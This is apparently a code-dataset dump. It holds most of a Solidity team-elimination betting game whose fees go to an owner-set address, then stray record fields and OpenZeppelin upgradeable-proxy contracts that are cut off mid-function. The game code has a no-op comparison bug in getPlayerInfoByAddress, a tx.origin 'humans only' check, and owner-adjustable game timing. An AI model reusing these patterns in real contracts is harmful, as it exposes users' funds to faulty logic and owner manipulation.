uint256 keysBought
);
// fired a bonus to invitor when a invited pays
event onAffPayoutEvent
(
uint256 indexed affID,
address affAddress,
bytes32 affName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
// fired an out event
event onOutEvent
(
uint256 deadCount,
uint256 liveCount,
uint256 deadKeys
);
// fired end event when game is over
event onEndRoundEvent
(
uint256 winnerTID, // winner
bytes32 winnerTName,
uint256 playersCount,
uint256 eth // eth in pot
);
// fired when withdraw
event onWithdrawEvent
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
// fired out initial event
event onOutInitialEvent
(
uint256 outTime
);
//**************
// DATA
//**************
// player info
struct Player {
address addr; // player address
bytes32 name;
uint256 gen; // balance
uint256 aff; // balance for invite
uint256 laff; // the latest invitor. ID
}
// player info in every round
struct PlayerRounds {
uint256 eth; // all eths in current round
mapping (uint256 => uint256) plyrTmKeys; // teamid => keys
bool withdrawn; // if earnings are withdrawn in current round
}
// team info
struct Team {
uint256 id; // team id
bytes32 name; // team name
uint256 keys; // key s in the team
uint256 eth; // eth from the team
uint256 price; // price of the last key (only for view)
uint256 playersCount; // how many team members
uint256 leaderID; // leader pID (leader is always the top 1 player in the team)
address leaderAddr; // leader address
bool dead; // if team is out
}
// round info
struct Round {
uint256 start; // start time
uint256 state; // 0:inactive,1:prepare,2:out,3:end
uint256 eth; // all eths
uint256 pot; // amount of this pot
uint256 keys; // all keys
uint256 team; // first team ID
uint256 ethPerKey; // how many eth per key in Winner Team. (must after the game)
uint256 lastOutTime; // the last out emit time
uint256 deadRate; // current dead rate (first team all keys * rate = dead line)
uint256 deadKeys; // next dead line
uint256 liveTeams; // alive teams
uint256 tID_; // how many teams in this Round
}
//****************
// GAME SETTINGS
//****************
string constant public name = "I AM The King of God";
string constant public symbol = "IMKG";
address public owner;
address public cooperator;
uint256 public minTms_ = 3; //minimum team number for active limit
uint256 public maxTms_ = 12; // maximum team number
uint256 public roundGap_ = 120; // round gap: 2 mins
uint256 public OutGap_ = 43200; // out gap: 12 hours
uint256 constant private registrationFee_ = 10 finney; // fee for register a new name
//****************
// PLAYER DATA
//****************
uint256 public pID_; // all players
mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address
mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name
mapping (uint256 => Player) public plyr_; // (pID => data) player data
//****************
// ROUND DATA
//****************
uint256 public rID_; // current round ID
mapping (uint256 => Round) public round_; // round ID => round data
// Player Rounds
mapping (uint256 => mapping (uint256 => PlayerRounds)) public plyrRnds_; // player ID => round ID => player info
//****************
// TEAM DATA
//****************
mapping (uint256 => mapping (uint256 => Team)) public rndTms_; // round ID => team ID => team info
mapping (uint256 => mapping (bytes32 => uint256)) public rndTIDxName_; // (rID => team name => tID) returns team id by name
// =============
// CONSTRUCTOR
// =============
constructor() public {
owner = msg.sender;
cooperator = address(0x8fccb08b8c4e6f4a3500Af33c45b28BF5290CFbC);
}
// =============
// MODIFIERS
// =============
// only developer
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev used to make sure no one can interact with contract until it has
* been activated.
*/
modifier isActivated() {
require(activated_ == true, "its not ready yet.");
_;
}
/**
* @dev prevents contracts from interacting with imkg
*/
modifier isHuman() {
require(tx.origin == msg.sender, "sorry humans only");
_;
}
/**
* @dev sets boundaries for incoming tx
*/
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "no less than 1 Gwei");
require(_eth <= 100000000000000000000000, "no more than 100000 ether");
_;
}
// **************=======
// PUBLIC INTERACTION
// **************=======
/**
* @dev emergency buy uses last stored affiliate ID and the first team
*/
function()
public
payable
isActivated()
isHuman()
isWithinLimits(msg.value)
{
buy(round_[rID_].team, "imkg");
}
/**
* @dev buy function
* @param _affCode the ID/address/name of the player who gets the affiliate fee
* @param _team what team is the player playing for
*/
function buy(uint256 _team, bytes32 _affCode)
public
payable
isActivated()
isHuman()
isWithinLimits(msg.value)
{
// ensure game has not ended
require(round_[rID_].state < 3, "This round has ended.");
// ensure game is in right state
if (round_[rID_].state == 0){
require(now >= round_[rID_].start, "This round hasn't started yet.");
round_[rID_].state = 1;
}
// get player ID if not exists ,create new player
determinePID(msg.sender);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _tID;
// manage affiliate residuals
// _affCode should be player name.
uint256 _affID;
if (_affCode == "" || _affCode == plyr_[_pID].name){
// use last stored affiliate code
_affID = plyr_[_pID].laff;
} else {
// get affiliate ID from aff Code
_affID = pIDxName_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff){
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// buy info
if (round_[rID_].state == 1){
// Check team id
_tID = determinTID(_team, _pID);
// Buy
buyCore(_pID, _affID, _tID, msg.value);
// if team number is more than minimum team number, then go the out state（state: 2）
if (round_[rID_].tID_ >= minTms_){
// go the out state
round_[rID_].state = 2;
// out initial
startOut();
}
} else if (round_[rID_].state == 2){
// if only 1 alive team, go end
if (round_[rID_].liveTeams == 1){
endRound();
// pay back
refund(_pID, msg.value);
return;
}
// Check team id
_tID = determinTID(_team, _pID);
// Buy
buyCore(_pID, _affID, _tID, msg.value);
// Out if needed
if (now > round_[rID_].lastOutTime.add(OutGap_)) {
out();
}
}
}
/**
* @dev withdraws all of your earnings.
*/
function withdraw()
public
isActivated()
isHuman()
{
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// ensure player is effective
require(_pID != 0, "Please join the game first!");
// setup temp var for player eth
uint256 _eth;
// calculate the remain amount that has not withdrawn
if (rID_ > 1){
for (uint256 i = 1; i < rID_; i++) {
// if has not withdrawn, then withdraw
if (plyrRnds_[_pID][i].withdrawn == false){
if (plyrRnds_[_pID][i].plyrTmKeys[round_[i].team] != 0) {
_eth = _eth.add(round_[i].ethPerKey.mul(plyrRnds_[_pID][i].plyrTmKeys[round_[i].team]) / 1000000000000000000);
}
plyrRnds_[_pID][i].withdrawn = true;
}
}
}
_eth = _eth.add(plyr_[_pID].gen).add(plyr_[_pID].aff);
// transfer the balance
if (_eth > 0) {
plyr_[_pID].addr.transfer(_eth);
}
// clear
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
// Event
emit onWithdrawEvent(_pID, plyr_[_pID].addr, plyr_[_pID].name, _eth, now);
}
/**
* @dev use these to register names. UI will always display the last name you registered.
* but you will still own all previously registered names to use as affiliate links.
* - must pay a registration fee.
* - name must be unique
* - name cannot start or end with a space
* - cannot have more than 1 space in a row
* - cannot be only numbers
* - cannot start with 0x
* - name must be at least 1 char
* - max length of 32 characters long
* - allowed characters: a-z, 0-9, and space
* @param _nameString players desired name
*/
function registerNameXID(string _nameString)
public
payable
isHuman()
{
// make sure name fees paid
require (msg.value >= registrationFee_, "You have to pay the name fee.(10 finney)");
// filter name + condition checks
bytes32 _name = NameFilter.nameFilter(_nameString);
// set up address
address _addr = msg.sender;
// set up our tx event data and determine if player is new or not
// bool _isNewPlayer = determinePID(_addr);
bool _isNewPlayer = determinePID(_addr);
// fetch player id
uint256 _pID = pIDxAddr_[_addr];
// ensure the name is not used
require(pIDxName_[_name] == 0, "sorry that names already taken");
// add name to player profile, registry, and name book
plyr_[_pID].name = _name;
pIDxName_[_name] = _pID;
// deposit registration fee
plyr_[1].gen = (msg.value).add(plyr_[1].gen);
// Event
emit onNewNameEvent(_pID, _addr, _name, _isNewPlayer, msg.value, now);
}
/**
* @dev use these to register a team names. UI will always display the last name you registered.
* - only team leader can call this func.
* - must pay a registration fee.
* - name must be unique
* - name cannot start or end with a space
* - cannot have more than 1 space in a row
* - cannot be only numbers
* - cannot start with 0x
* - name must be at least 1 char
* - max length of 32 characters long
* - allowed characters: a-z, 0-9, and space
*/
function setTeamName(uint256 _tID, string _nameString)
public
payable
isHuman()
{
// team should be effective
require(_tID <= round_[rID_].tID_ && _tID != 0, "There's no this team.");
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// must be team leader
require(_pID == rndTms_[rID_][_tID].leaderID, "Only team leader can change team name. You can invest more money to be the team leader.");
// need register fee
require (msg.value >= registrationFee_, "You have to pay the name fee.(10 finney)");
// filter name + condition checks
bytes32 _name = NameFilter.nameFilter(_nameString);
require(rndTIDxName_[rID_][_name] == 0, "sorry that names already taken");
// add name to team
rndTms_[rID_][_tID].name = _name;
rndTIDxName_[rID_][_name] = _tID;
// deposit registration fee
plyr_[1].gen = (msg.value).add(plyr_[1].gen);
// event
emit onNewTeamNameEvent(_tID, _name, _pID, plyr_[_pID].name, msg.value, now);
}
// deposit in the game
function deposit()
public
payable
isActivated()
isHuman()
isWithinLimits(msg.value)
{
determinePID(msg.sender);
uint256 _pID = pIDxAddr_[msg.sender];
plyr_[_pID].gen = (msg.value).add(plyr_[_pID].gen);
}
//**************
// GETTERS
//**************
// check the name
function checkIfNameValid(string _nameStr)
public
view
returns (bool)
{
bytes32 _name = _nameStr.nameFilter();
if (pIDxName_[_name] == 0)
return (true);
else
return (false);
}
/**
* @dev returns next out time
* @return next out time
*/
function getNextOutAfter()
public
view
returns (uint256)
{
require(round_[rID_].state == 2, "Not in Out period.");
uint256 _tNext = round_[rID_].lastOutTime.add(OutGap_);
uint256 _t = _tNext > now ? _tNext.sub(now) : 0;
return _t;
}
/**
* @dev returns player info based on address. if no address is given, it will
* use msg.sender
* @param _addr address of the player you want to lookup
* @return player ID
* @return player name
* @return keys owned (current round)
* @return winnings vault
* @return general vault
* @return affiliate vault
* @return player round eth
*/
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return (
_pID,
_addr,
plyr_[_pID].name,
plyr_[_pID].gen,
plyr_[_pID].aff,
plyrRnds_[_pID][rID_].eth,
getProfit(_pID),
getPreviousProfit(_pID)
);
}
/**
* @dev returns _pID player for _tID team at _roundID round all keys
* - _roundID = 0 then _roundID = current round
* @return keys
*/
function getPlayerRoundTeamBought(uint256 _pID, uint256 _roundID, uint256 _tID)
public
view
returns (uint256)
{
uint256 _rID = _roundID == 0 ? rID_ : _roundID;
return plyrRnds_[_pID][_rID].plyrTmKeys[_tID];
}
/**
* @dev returns _pID player at _roundID round all keys
* - _roundID = 0 then _roundID = current round
* @return array keysList
* - keysList[i] :team[i+1] for _pID
*/
function getPlayerRoundBought(uint256 _pID, uint256 _roundID)
public
view
returns (uint256[])
{
uint256 _rID = _roundID == 0 ? rID_ : _roundID;
// team count
uint256 _tCount = round_[_rID].tID_;
// keys for player in every team
uint256[] memory keysList = new uint256[](_tCount);
for (uint i = 0; i < _tCount; i++) {
keysList[i] = plyrRnds_[_pID][_rID].plyrTmKeys[i+1];
}
return keysList;
}
/**
* @dev returns _pID player at every round all eths and winnings
* @return array {ethList, winList}
*/
function getPlayerRounds(uint256 _pID)
public
view
returns (uint256[], uint256[])
{
uint256[] memory _ethList = new uint256[](rID_);
uint256[] memory _winList = new uint256[](rID_);
for (uint i=0; i < rID_; i++){
_ethList[i] = plyrRnds_[_pID][i+1].eth;
_winList[i] = plyrRnds_[_pID][i+1].plyrTmKeys[round_[i+1].team].mul(round_[i+1].ethPerKey) / 1000000000000000000;
}
return (
_ethList,
_winList
);
}
/**
* @dev returns last round info
* @return round ID
* @return round state
* @return round pots
* @return win team ID
* @return team name
* @return team player count
* @return team number
*/
function getLastRoundInfo()
public
view
returns (uint256, uint256, uint256, uint256, bytes32, uint256, uint256)
{
// last round id
uint256 _rID = rID_.sub(1);
// last winner
uint256 _tID = round_[_rID].team;
return (
_rID,
round_[_rID].state,
round_[_rID].pot,
_tID,
rndTms_[_rID][_tID].name,
rndTms_[_rID][_tID].playersCount,
round_[_rID].tID_
);
}
/**
* @dev returns all current round info needed for front end
* @return round id
* @return round state
* @return current eths
* @return current pot
* @return leader team ID
* @return current price per key
* @return the last out time
* @return time out gap
* @return current dead rate
* @return current dead keys
* @return alive teams
* @return team count
* @return time round started
*/
function getCurrentRoundInfo()
public
view
returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256)
{
return (
rID_,
round_[rID_].state,
round_[rID_].eth,
round_[rID_].pot,
round_[rID_].keys,
round_[rID_].team,
round_[rID_].ethPerKey,
round_[rID_].lastOutTime,
OutGap_,
round_[rID_].deadRate,
round_[rID_].deadKeys,
round_[rID_].liveTeams,
round_[rID_].tID_,
round_[rID_].start
);
}
/**
* @dev returns _tID team info
* @return team id
* @return team name
* @return team all keys
* @return team all eths
* @return current price per key for this team
* @return leader player ID
* @return if team is out
*/
function getTeamInfoByID(uint256 _tID)
public
view
returns (uint256, bytes32, uint256, uint256, uint256, uint256, bool)
{
require(_tID <= round_[rID_].tID_, "There's no this team.");
return (
rndTms_[rID_][_tID].id,
rndTms_[rID_][_tID].name,
rndTms_[rID_][_tID].keys,
rndTms_[rID_][_tID].eth,
rndTms_[rID_][_tID].price,
rndTms_[rID_][_tID].leaderID,
rndTms_[rID_][_tID].dead
);
}
/**
* @dev returns all team info
* @return array team ids
* @return array team names
* @return array team all keys
* @return array team all eths
* @return array current price per key for this team
* @return array team members
* @return array if team is out
*/
function getTeamsInfo()
public
view
returns (uint256[], bytes32[], uint256[], uint256[], uint256[], uint256[], bool[])
{
uint256 _tID = round_[rID_].tID_;
// Lists of Team Info
uint256[] memory _idList = new uint256[](_tID);
bytes32[] memory _nameList = new bytes32[](_tID);
uint256[] memory _keysList = new uint256[](_tID);
uint256[] memory _ethList = new uint256[](_tID);
uint256[] memory _priceList = new uint256[](_tID);
uint256[] memory _membersList = new uint256[](_tID);
bool[] memory _deadList = new bool[](_tID);
// Data
for (uint i = 0; i < _tID; i++) {
_idList[i] = rndTms_[rID_][i+1].id;
_nameList[i] = rndTms_[rID_][i+1].name;
_keysList[i] = rndTms_[rID_][i+1].keys;
_ethList[i] = rndTms_[rID_][i+1].eth;
_priceList[i] = rndTms_[rID_][i+1].price;
_membersList[i] = rndTms_[rID_][i+1].playersCount;
_deadList[i] = rndTms_[rID_][i+1].dead;
}
return (
_idList,
_nameList,
_keysList,
_ethList,
_priceList,
_membersList,
_deadList
);
}
/**
* @dev returns all team leaders info
* @return array team ids
* @return array team leader ids
* @return array team leader names
* @return array team leader address
*/
function getTeamLeaders()
public
view
returns (uint256[], uint256[], bytes32[], address[])
{
uint256 _tID = round_[rID_].tID_;
// Teams' leaders info
uint256[] memory _idList = new uint256[](_tID);
uint256[] memory _leaderIDList = new uint256[](_tID);
bytes32[] memory _leaderNameList = new bytes32[](_tID);
address[] memory _leaderAddrList = new address[](_tID);
// Data
for (uint i = 0; i < _tID; i++) {
_idList[i] = rndTms_[rID_][i+1].id;
_leaderIDList[i] = rndTms_[rID_][i+1].leaderID;
_leaderNameList[i] = plyr_[_leaderIDList[i]].name;
_leaderAddrList[i] = rndTms_[rID_][i+1].leaderAddr;
}
return (
_idList,
_leaderIDList,
_leaderNameList,
_leaderAddrList
);
}
/**
* @dev returns predict the profit for the leader team
* @return eth
*/
function getProfit(uint256 _pID)
public
view
returns (uint256)
{
// leader team ID
uint256 _tID = round_[rID_].team;
// if player not in the leader team
if (plyrRnds_[_pID][rID_].plyrTmKeys[_tID] == 0){
return 0;
}
// player's keys in the leader team
uint256 _keys = plyrRnds_[_pID][rID_].plyrTmKeys[_tID];
// calculate eth per key
uint256 _ethPerKey = round_[rID_].pot.mul(1000000000000000000) / rndTms_[rID_][_tID].keys;
// calculate the win value
uint256 _value = _keys.mul(_ethPerKey) / 1000000000000000000;
return _value;
}
/**
* @dev returns the eths that has not withdrawn before current round
* @return eth
*/
function getPreviousProfit(uint256 _pID)
public
view
returns (uint256)
{
uint256 _eth;
if (rID_ > 1){
// calculate the eth that has not withdrawn for the ended round
for (uint256 i = 1; i < rID_; i++) {
if (plyrRnds_[_pID][i].withdrawn == false){
if (plyrRnds_[_pID][i].plyrTmKeys[round_[i].team] != 0) {
_eth = _eth.add(round_[i].ethPerKey.mul(plyrRnds_[_pID][i].plyrTmKeys[round_[i].team]) / 1000000000000000000);
}
}
}
} else {
// if there is not ended round
_eth = 0;
}
return _eth;
}
/**
* @dev returns the next key price for _tID team
* @return eth
*/
function getNextKeyPrice(uint256 _tID)
public
view
returns(uint256)
{
require(_tID <= round_[rID_].tID_ && _tID != 0, "No this team.");
return ( (rndTms_[rID_][_tID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
}
/**
* @dev returns the eth for buying _keys keys at _tID team
* @return eth
*/
function getEthFromKeys(uint256 _tID, uint256 _keys)
public
view
returns(uint256)
{
if (_tID <= round_[rID_].tID_ && _tID != 0){
// if team is exists
return ((rndTms_[rID_][_tID].keys.add(_keys)).ethRec(_keys));
} else {
// if team is not exists
return ((uint256(0).add(_keys)).ethRec(_keys));
}
}
/**
* @dev returns the keys for buying _eth eths at _tID team
* @return keys
*/
function getKeysFromEth(uint256 _tID, uint256 _eth)
public
view
returns (uint256)
{
if (_tID <= round_[rID_].tID_ && _tID != 0){
// if team is exists
return (rndTms_[rID_][_tID].eth).keysRec(_eth);
} else {
// if team is not exists
return (uint256(0).keysRec(_eth));
}
}
// **************============
// PRIVATE: CORE GAME LOGIC
// **************============
/**
* @dev logic runs whenever a buy order is executed. determines how to handle
* incoming eth depending on if we are in an active round or not
*/
function buyCore(uint256 _pID, uint256 _affID, uint256 _tID, uint256 _eth)
private
{
uint256 _keys = (rndTms_[rID_][_tID].eth).keysRec(_eth);
// player
if (plyrRnds_[_pID][rID_].plyrTmKeys[_tID] == 0){
rndTms_[rID_][_tID].playersCount++;
}
plyrRnds_[_pID][rID_].plyrTmKeys[_tID] = _keys.add(plyrRnds_[_pID][rID_].plyrTmKeys[_tID]);
plyrRnds_[_pID][rID_].eth = _eth.add(plyrRnds_[_pID][rID_].eth);
// Team
rndTms_[rID_][_tID].keys = _keys.add(rndTms_[rID_][_tID].keys);
rndTms_[rID_][_tID].eth = _eth.add(rndTms_[rID_][_tID].eth);
rndTms_[rID_][_tID].price = _eth.mul(1000000000000000000) / _keys;
uint256 _teamLeaderID = rndTms_[rID_][_tID].leaderID;
// refresh team leader
if (plyrRnds_[_pID][rID_].plyrTmKeys[_tID] > plyrRnds_[_teamLeaderID][rID_].plyrTmKeys[_tID]){
rndTms_[rID_][_tID].leaderID = _pID;
rndTms_[rID_][_tID].leaderAddr = msg.sender;
}
// Round
round_[rID_].keys = _keys.add(round_[rID_].keys);
round_[rID_].eth = _eth.add(round_[rID_].eth);
// refresh round leader
if (rndTms_[rID_][_tID].keys > rndTms_[rID_][round_[rID_].team].keys){
round_[rID_].team = _tID;
}
distribute(rID_, _pID, _eth, _affID);
// Event
emit onTxEvent(_pID, msg.sender, plyr_[_pID].name, _tID, rndTms_[rID_][_tID].name, _eth, _keys);
}
// distribute eth
function distribute(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID)
private
{
// [1] com - 3%
uint256 _com = (_eth.mul(3)) / 100;
// pay community reward
plyr_[1].gen = _com.add(plyr_[1].gen);
// [2] aff - 10%
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != "") {
// pay aff
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
// Event bonus for invite
emit onAffPayoutEvent(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
// if not affiliate, this amount of eth add to the pot
_aff = 0;
}
// [3] pot - 87%
uint256 _pot = _eth.sub(_aff).sub(_com);
// update current pot
round_[_rID].pot = _pot.add(round_[_rID].pot);
}
/**
* @dev ends the round. manages paying out winner/splitting up pot
*/
function endRound()
private
{
require(round_[rID_].state < 3, "Round only end once.");
// set round state
round_[rID_].state = 3;
// all pot
uint256 _pot = round_[rID_].pot;
// Devide Round Pot
// [1] winner 85%
uint256 _win = (_pot.mul(85))/100;
// [2] com 5%
uint256 _com = (_pot.mul(5))/100;
// [3] next round 10%
uint256 _res = (_pot.sub(_win)).sub(_com);
// win team
uint256 _tID = round_[rID_].team;
// ethPerKey (A Full Key = 10**18 keys)
uint256 _epk = (_win.mul(1000000000000000000)) / (rndTms_[rID_][_tID].keys);
// if dust
uint256 _dust = _win.sub((_epk.mul(rndTms_[rID_][_tID].keys)) / 1000000000000000000);
if (_dust > 0) {
_win = _win.sub(_dust);
_res = _res.add(_dust);
}
// pay winner team
round_[rID_].ethPerKey = _epk;
// pay community reward
plyr_[1].gen = _com.add(plyr_[1].gen);
// Event
emit onEndRoundEvent(_tID, rndTms_[rID_][_tID].name, rndTms_[rID_][_tID].playersCount, _pot);
// next round
rID_++;
round_[rID_].pot = _res;
round_[rID_].start = now + roundGap_;
}
// refund
function refund(uint256 _pID, uint256 _value)
private
{
plyr_[_pID].gen = _value.add(plyr_[_pID].gen);
}
/**
* @dev create a new team
* @return team ID
*/
function createTeam(uint256 _pID, uint256 _eth)
private
returns (uint256)
{
// maximum team number limit
require(round_[rID_].tID_ < maxTms_, "The number of teams has reached the maximum limit.");
// payable should more than 1eth
require(_eth >= 1000000000000000000, "You need at least 1 eth to create a team, though creating a new team is free.");
// update data
round_[rID_].tID_++;
round_[rID_].liveTeams++;
// new team ID
uint256 _tID = round_[rID_].tID_;
// new team data
rndTms_[rID_][_tID].id = _tID;
rndTms_[rID_][_tID].leaderID = _pID;
rndTms_[rID_][_tID].leaderAddr = plyr_[_pID].addr;
rndTms_[rID_][_tID].dead = false;
return _tID;
}
// initial the out state
function startOut()
private
{
round_[rID_].lastOutTime = now;
round_[rID_].deadRate = 10; // used by deadRate / 100
round_[rID_].deadKeys = (rndTms_[rID_][round_[rID_].team].keys.mul(round_[rID_].deadRate)) / 100;
emit onOutInitialEvent(round_[rID_].lastOutTime);
}
// emit out
function out()
private
{
// current state dead number of the teams
uint256 _dead = 0;
// if less than deadKeys ,sorry, your team is out
for (uint256 i = 1; i <= round_[rID_].tID_; i++) {
if (rndTms_[rID_][i].keys < round_[rID_].deadKeys && rndTms_[rID_][i].dead == false){
rndTms_[rID_][i].dead = true;
round_[rID_].liveTeams--;
_dead++;
}
}
round_[rID_].lastOutTime = now;
// if there just 1 alive team
if (round_[rID_].liveTeams == 1 && round_[rID_].state == 2) {
endRound();
return;
}
// update the deadRate
if (round_[rID_].deadRate < 90) {
round_[rID_].deadRate = round_[rID_].deadRate + 10;
}
// update deadKeys
round_[rID_].deadKeys = ((rndTms_[rID_][round_[rID_].team].keys).mul(round_[rID_].deadRate)) / 100;
// event
emit onOutInitialEvent(round_[rID_].lastOutTime);
emit onOutEvent(_dead, round_[rID_].liveTeams, round_[rID_].deadKeys);
}
/**
* @dev gets existing or registers new pID. use this when a player may be new
* @return bool if a new player
*/
function determinePID(address _addr)
private
returns (bool)
{
if (pIDxAddr_[_addr] == 0)
{
pID_++;
pIDxAddr_[_addr] = pID_;
plyr_[pID_].addr = _addr;
return (true); // new
} else {
return (false);
}
}
/**
* @dev gets existing a team. if not, create a new team
* @return team ID
*/
function determinTID(uint256 _team, uint256 _pID)
private
returns (uint256)
{
// ensure the team is alive
require(rndTms_[rID_][_team].dead == false, "You can not buy a dead team!");
if (_team <= round_[rID_].tID_ && _team > 0) {
// if team is existing
return _team;
} else {
// if team is not existing
return createTeam(_pID, msg.value);
}
}
//**************
// SECURITY
//**************
// active the game
bool public activated_ = false;
function activate()
public
onlyOwner()
{
// can only be ran once
require(activated_ == false, "it is already activated");
// activate the contract
activated_ = true;
// the first player
plyr_[1].addr = cooperator;
plyr_[1].name = "imkg";
pIDxAddr_[cooperator] = 1;
pIDxName_["imkg"] = 1;
pID_ = 1;
// activate the first game
rID_ = 1;
round_[1].start = now;
round_[1].state = 1;
}
//****************************
// SETTINGS (Only owner)
//****************************
/*
* @dev if timing is up,then msg.sender go this func to end or out this game.
*/
function timeCountdown()
public
isActivated()
isHuman()
onlyOwner()
{
//state == 2 out state
if (round_[rID_].state == 2){
// if alive team = 1, go endRound().
if (round_[rID_].liveTeams == 1){
endRound();
return;
}
// Out if needed
if (now > round_[rID_].lastOutTime.add(OutGap_)) {
out();
}
}
}
// set the minimum team number
function setMinTms(uint256 _tms)
public
onlyOwner()
{
minTms_ = _tms;
}
// set the maximum team number
function setMaxTms(uint256 _tms)
public
onlyOwner()
{
maxTms_ = _tms;
}
// set the round gap
function setRoundGap(uint256 _gap)
public
onlyOwner()
{
roundGap_ = _gap;
}
// set the out gap
function setOutGap(uint256 _gap)
public
onlyOwner()
{
OutGap_ = _gap;
}
} // main contract ends here
|
used by deadRate / 100
|
round_[rID_].deadRate = 10;
| 12,946,340
|
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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
import "../beacon/IBeaconUpgradeable.sol";
import "../../utils/AddressUpgradeable.sol";
import "../../utils/StorageSlotUpgradeable.sol";
import "../utils/Initializable.sol";
/**
* @dev This abstract contract provides getters and event emitting update functions for
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots.
*
* _Available since v4.1._
*
* @custom:oz-upgrades-unsafe-allow delegatecall
*/
abstract contract ERC1967UpgradeUpgradeable is Initializable {
function __ERC1967Upgrade_init() internal initializer {
__ERC1967Upgrade_init_unchained();
}
function __ERC1967Upgrade_init_unchained() internal initializer {
}
// This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1
bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Emitted when the implementation is upgraded.
*/
event Upgraded(address indexed implementation);
/**
* @dev Returns the current implementation address.
*/
function _getImplementation() internal view returns (address) {
return StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 implementation slot.
*/
function _setImplementation(address newImplementation) private {
require(AddressUpgradeable.isContract(newImplementation), "ERC1967: new implementation is not a contract");
StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
}
/**
* @dev Perform implementation upgrade
*
* Emits an {Upgraded} event.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Perform implementation upgrade with additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCall(address newImplementation, bytes memory data, bool forceCall) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
if (data.length > 0 || forceCall) {
_functionDelegateCall(newImplementation, data);
}
}
/**
* @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCallSecure(address newImplementation, bytes memory data, bool forceCall) internal {
address oldImplementation = _getImplementation();
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0 || forceCall) {
_functionDelegateCall(newImplementation, data);
}
// Perform rollback test if not already in progress
StorageSlotUpgradeable.BooleanSlot storage rollbackTesting = StorageSlotUpgradeable.getBooleanSlot(_ROLLBACK_SLOT);
if (!rollbackTesting.value) {
// Trigger rollback using upgradeTo from the new implementation
rollbackTesting.value = true;
_functionDelegateCall(
newImplementation,
abi.encodeWithSignature(
"upgradeTo(address)",
oldImplementation
)
);
rollbackTesting.value = false;
// Check rollback was effective
require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades");
// Finally reset to the new implementation and log the upgrade
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
}
/**
* @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does
* not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that).
*
* Emits a {BeaconUpgraded} event.
*/
function _upgradeBeaconToAndCall(address newBeacon, bytes memory data, bool forceCall) internal {
